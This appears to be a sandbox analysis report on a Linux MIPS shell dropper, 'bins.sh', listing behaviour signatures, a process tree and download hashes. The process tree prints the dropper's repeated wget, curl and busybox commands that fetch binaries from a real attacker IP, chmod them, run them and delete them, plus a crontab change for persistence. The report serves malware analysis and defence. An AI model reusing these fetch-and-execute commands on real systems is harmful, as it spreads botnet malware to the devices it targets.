Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    07/11/2024, 04:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-eshftsvjaw
  • SHA256 0842deaba9af3ea853c8df5654925b4e88c5624f318ed7e368412b9f65af0191
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1519) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          ./0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm 0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            ./mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Executes dropped EXE
            PID:755
          • /bin/rm
            rm mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              ./WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/chmod
                chmod 777 RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • File and Directory Permissions Modification
                PID:809
              • /tmp/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                ./RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Executes dropped EXE
                PID:810
              • /bin/rm
                rm RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                  PID:812
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:814
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:817
                • /bin/chmod
                  chmod 777 Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  ./Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:825
                • /bin/rm
                  rm Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                  2⤵
                  • System Network Configuration Discovery
                  PID:828
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                  • Writes file to tmp directory
                  PID:829
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                  • Writes file to tmp directory
                  PID:852
                • /bin/chmod
                  chmod 777 Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                  • File and Directory Permissions Modification
                  PID:853
                • /tmp/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  ./Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                  • Executes dropped EXE
                  PID:854
                • /bin/rm
                  rm Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                  2⤵
                    PID:856
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                    • Writes file to tmp directory
                    PID:857
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                    • Writes file to tmp directory
                    PID:858
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                    • Writes file to tmp directory
                    PID:862
                  • /bin/chmod
                    chmod 777 DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:863
                  • /tmp/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    ./DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                    • Executes dropped EXE
                    PID:864
                  • /bin/rm
                    rm DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                    2⤵
                      PID:866
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                      • Writes file to tmp directory
                      PID:867
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                      • Writes file to tmp directory
                      PID:868
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                      • Writes file to tmp directory
                      PID:869
                    • /bin/chmod
                      chmod 777 B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                      • File and Directory Permissions Modification
                      PID:870
                    • /tmp/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      ./B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                      • Executes dropped EXE
                      PID:871
                    • /bin/rm
                      rm B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                      2⤵
                        PID:873
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                        • Writes file to tmp directory
                        PID:874
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                        • Writes file to tmp directory
                        PID:875
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                        • Writes file to tmp directory
                        PID:876
                      • /bin/chmod
                        chmod 777 Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:877
                      • /tmp/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        ./Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                        • Executes dropped EXE
                        PID:878
                      • /bin/rm
                        rm Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                        2⤵
                          PID:880
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          2⤵
                          • Writes file to tmp directory
                          PID:881
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          2⤵
                          • Writes file to tmp directory
                          PID:882
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          2⤵
                          • Writes file to tmp directory
                          PID:883
                        • /bin/chmod
                          chmod 777 EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          2⤵
                          • File and Directory Permissions Modification
                          PID:884
                        • /tmp/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          ./EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:885
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:887
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:888
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:889
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:890
                              • /bin/rm
                                rm EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                                2⤵
                                  PID:892
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/81p4rPgALyuxd3RuQfGppTP80q1Eq9xIbx
                                  2⤵
                                    PID:895

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq

                                      • Path /tmp/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP

                                      B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707

                                      • Path /tmp/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP

                                      DVFXlBX3VcaA9wUMTsutz2su6DRah899lq

                                      • Path /tmp/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP

                                      EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2

                                      • Path /tmp/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t

                                      • Path /tmp/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP

                                      Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY

                                      • Path /tmp/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP

                                      RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp

                                      • Path /tmp/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3

                                      • Path /tmp/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj

                                      • Path /tmp/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      mold8uOJkqHb1XZce6QCKTv3WwOHhngefH

                                      • Path /tmp/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.RoYwjN

                                      • Path /var/spool/cron/crontabs/tmp.RoYwjN
                                      • Size 210B
                                      • SHA256 f1e3486e509e217d0765a1b0bcc411f125f29443e7d07974c2fcfb0d5f32e864
                                      • MD5 SHA1 SHA512